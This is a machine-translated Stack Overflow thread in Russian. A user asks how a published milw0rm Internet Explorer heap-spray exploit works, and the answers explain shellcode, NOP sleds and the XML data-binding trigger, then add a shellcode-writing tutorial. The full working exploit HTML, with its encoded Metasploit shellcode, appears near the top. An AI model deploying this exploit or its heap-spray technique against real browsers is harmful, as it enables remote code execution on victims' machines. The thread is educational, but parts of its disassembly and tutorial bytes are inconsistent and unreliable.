Как работает этот эксплойт milw0rm для распыления кучи?
https://stackoverflow.com/questions/381171
-
22-08-2019 - |
italiano
english
français
española
中国
日本の
العربية
Deutsch
한국어
Português
RussianВопрос
Обычно мне не составляет труда читать код JavaScript, но здесь я не могу понять логику.Код взят из эксплойта, опубликованного 4 дня назад.Вы можете найти его на milw0rm.
Вот код:
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
Вот что, по моему мнению, это делает, и я хотел бы, чтобы вы помогли мне в той части, которую я неправильно понимаю.
Переменная shellcode содержит код для открытия calc.exe.Я не понимаю, как они нашли эту странную строку.Есть идеи?
Во-вторых, это переменная spray.Я не понимаю этого странного цикла.
Третье — это переменная memory который никогда и нигде не используется.Зачем они это создают?
Последнее:что делает тег XML на странице?
На данный момент у меня есть хорошие ответы, но в основном очень общие.Я хотел бы получить больше объяснений значения кода.Примером является unescape("%u0a0a%u0a0a");.Что это значит?То же самое и для цикла:почему разработчик написал: length < 0xd0000?Хотелось бы более глубокого понимания, а не только теории этого кода.
Решение
Шелл-код содержит несколько ассемблерных инструкций x86, которые и реализуют настоящий эксплойт. spray создает длинную последовательность инструкций, которые будут помещены в memory.Поскольку мы обычно не можем узнать точное расположение нашего шеллкода в памяти, мы помещаем много nop инструкции перед ним и прыгните куда-нибудь туда.А memory массив будет содержать фактический код x86 вместе с механизмом перехода.Мы передадим созданный XML в библиотеку, в которой есть ошибка.Во время анализа ошибка приводит к тому, что регистр указателя инструкций назначается где-то в нашем эксплойте, что приводит к выполнению произвольного кода.
Чтобы понять глубже, вам следует разобраться в том, что находится в коде x86. unscape будет использоваться для помещения последовательности байтов, представленной в строку, в spray переменная.Это действительный код x86, который заполняет большую часть кучи и переходит к началу шелл-кода.Причиной завершающего условия являются ограничения длины строки скриптового движка.Вы не можете иметь строки больше определенной длины.
В сборке x86 0a0a представляет or cl, [edx].Это фактически эквивалентно nop инструкции для целей нашего эксплойта.Куда бы мы ни прыгнули в spray, мы перейдем к следующей инструкции, пока не достигнем шелл-кода, который на самом деле хотим выполнить.
Если вы посмотрите на XML, вы увидите 0x0a0a тоже есть.Точное описание того, что происходит, требует конкретных знаний об уязвимости (вы должны знать, где находится ошибка и как она используется, чего я не знаю).Однако, похоже, мы заставляем Internet Explorer запускать ошибочный код, устанавливая innerHtml к этой вредоносной XML-строке.Internet Explorer пытается его разобрать, и ошибочный код каким-то образом передает контроль над областью памяти, где находится массив (поскольку это большой кусок, вероятность перехода туда высока).Когда мы туда перейдем, процессор продолжит работу. or cl, [edx] инструкции до тех пор, пока не достигнет начала шеллкода, помещенного в память.
Я дизассемблировал шеллкод:
00000000 C9 leave
00000001 2B1F sub ebx,[edi]
00000003 B10C mov cl,0xc
00000005 BDC536DB9B mov ebp,0x9bdb36c5
0000000A D9C5 fld st5
0000000C 2474 and al,0x74
0000000E 5A pop edx
0000000F F4 hlt
00000010 EA8331FC0B6A6A jmp 0x6a6a:0xbfc3183
00000017 03D4 add edx,esp
00000019 07 pop es
0000001A 67305CFF xor [si-0x1],bl
0000001E 98 cwde
0000001F BBD7FFA4FE mov ebx,0xfea4ffd7
00000024 9B wait
00000025 74AD jz 0xffffffd4
00000027 058B8B028D add eax,0x8d028b8b
0000002C D893BCCD35A2 fcom dword [ebx+0xa235cdbc]
00000032 37 aaa
00000033 B84290A63A mov eax,0x3aa69042
00000038 94 xchg eax,esp
00000039 E99AA4D58D jmp 0x8dd5a4d8
0000003E E5A3 in eax,0xa3
00000040 1F pop ds
00000041 4C dec esp
00000042 EB46 jmp short 0x8a
00000044 4B dec ebx
00000045 8CD0 mov eax,ss
00000047 AD lodsd
00000048 A844 test al,0x44
0000004A 52 push edx
0000004B 4A dec edx
0000004C 3B81B80DD748 cmp eax,[ecx+0x48d70db8]
00000052 4B dec ebx
00000053 D46C aam 0x6c
00000055 46 inc esi
00000056 1392734A204F adc edx,[edx+0x4f204a73]
0000005C F8 clc
0000005D 6E outsb
0000005E DC8EA20726B4 fmul qword [esi+0xb42607a2]
00000064 04D4 add al,0xd4
00000066 D084ECBA978221 rol byte [esp+ebp*8+0x218297ba],1
0000006D 7CE8 jl 0x57
0000006F C0CA8C ror dl,0x8c
00000072 F4 hlt
00000073 A6 cmpsb
00000074 47 inc edi
00000075 210D2EA0B0CD and [0xcdb0a02e],ecx
0000007B 2CA8 sub al,0xa8
0000007D B05B mov al,0x5b
0000007F 43 inc ebx
00000080 F4 hlt
00000081 24E8 and al,0xe8
00000083 7A9C jpe 0x21
00000085 BB857DCBA0 mov ebx,0xa0cb7d85
0000008A 7DED jnl 0x79
0000008C 92 xchg eax,edx
0000008D 09E1 or ecx,esp
0000008F 96 xchg eax,esi
00000090 315580 xor [ebp-0x80],edx
Понимание этого шеллкода требует знаний сборки x86 и проблемы в самой библиотеке MS (чтобы знать, каково состояние системы, когда мы доберемся сюда), а не JavaScript!Этот код, в свою очередь, выполнит calc.exe.
Другие советы
Это похоже на подвиг недавняя ошибка Internet Explorer для которого Microsoft выпустила экстренное исправление.Он использует недостаток в функции привязки данных обработчика XML Microsoft, из-за которого память кучи освобождается неправильно.
Шеллкод — это машинный код, который запускается при возникновении ошибки.Спрей и память — это всего лишь некоторое пространство, выделенное в куче, чтобы помочь возникнуть уязвимому состоянию.
Распыление кучи — распространенный способ использования возможностей браузера. Если вам это нравится, вы можете найти несколько подобных сообщений: http://sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html
Каждый раз, когда я вижу память, которая не упоминается при обсуждении эксплойта, моя первая мысль заключается в том, что эксплойт представляет собой своего рода переполнение буфера, и в этом случае память либо вызывает переполнение буфера, либо к ней обращаются после переполнения буфера. .
Это из Metasploit, это означает, что он использует один из шелл-кодов Metasploit.Это открытый исходный код, так что вы можете пойти и взять его: http://www.metasploit.com/
Видеть Кодировки символов в HTML.
Это двоичные данные, закодированные в виде строки, которую декодирует JavaScript.
Распространенная форма XSS также.
Вы можете увидеть все приемы кодирования здесь:
http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
Простой пример шеллкода
Привет, мир синтаксиса сборки at&t x86, я думаю (мастер в обучении).
настроить файл:vim shellcodeExample.s
.text #required
.goblal _start #required
_start: #main function
jmp one #jump to the section labeled one:
two:
pop %rcx #pop %rcx off the stack, or something
xor %rax, %rax #Clear
movl 4, %rax #use sys_write(printf || std::cout)
xor %rbx, %rbx #Clear
inc %rbx #increment %rbx to 1 stdout(terminal)
xor %rdx, %rdx #Clear Registers or something
movb $13, %dl #String Size
int $0x80
one:
call two #jump up to section two:
.ascii "Hello World\r\n" #make the string one of the starting memory
#^-addresses
скомпилируйте так:as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o
Теперь у вас есть двоичный файл, который выводит hello world.чтобы преобразовать двоичный файл в код оболочки, введите: objdump -D shellcode
вы получите результат:
shellcode: file format elf64-x86-64
Disassembly of section .text:
0000000000400078 <.text>:
400078: eb 1a jmp 0x400094
40007a: 59 pop %rcx
40007b: 48 31 c0 xor %rax,%rax
40007e: b0 04 mov $0x4,%al
400080: 48 31 db xor %rbx,%rbx
400083: 48 ff c3 inc %rbx
400086: 48 31 d2 xor %rdx,%rdx
400089: b2 0d mov $0xd,%dl
40008b: cd 80 int $0x80
40008d: b0 01 mov $0x1,%al
40008f: 48 ff cb dec %rbx
400092: cd 80 int $0x80
400094: e8 e1 ff ff ff callq 0x40007a
400099: 68 65 6c 6c 6f pushq $0x6f6c6c65
40009e: 20 77 6f and %dh,0x6f(%rdi)
4000a1: 72 6c jb 0x40010f
4000a3: 64 fs
4000a4: 0d .byte 0xd
4000a5: 0a .byte 0xa
Теперь, если вы посмотрите на 4-ю строку с текстом, вы увидите: 400078: eb 1a jmp 0x400094
та часть, которая говорит eb 1a это шестнадцатеричное представление инструкции ассемблера jmp one где «один» — это адрес памяти вашей строки.
чтобы подготовить шеллкод к выполнению, откройте другой текстовый файл и сохраните шестнадцатеричные значения в массиве символов.Чтобы правильно отформатировать шелл-код, вы вводите \x перед каждым шестнадцатеричным значением.
Следующий пример шелл-кода будет выглядеть следующим образом в соответствии с выводом команды objdump:
unsigned char PAYLOAD[] =
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";
В этом примере для массива используется C.Теперь у вас есть рабочий шеллкод, который будет писать на стандартный вывод «hello world».
вы можете протестировать шелл-код, поместив его в уязвимость, или написать следующую программу на языке C для его проверки:
vim execShellcode.cc; //linux command to create c file.
/*Below is the content of execShellcode.cc*/
unsigned char PAYLOAD[] =
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";
int main(){
((void(*)(void))PAYLOAD)();
return 0;
}
Для компиляции программы введите:
gcc -fno-stack-protector -z execstack execShellcode.cc -o run
бежать с ./runВы знаете, что у вас есть рабочий пример простой разработки шеллкода, который был протестирован в Linux Mint/Debian.
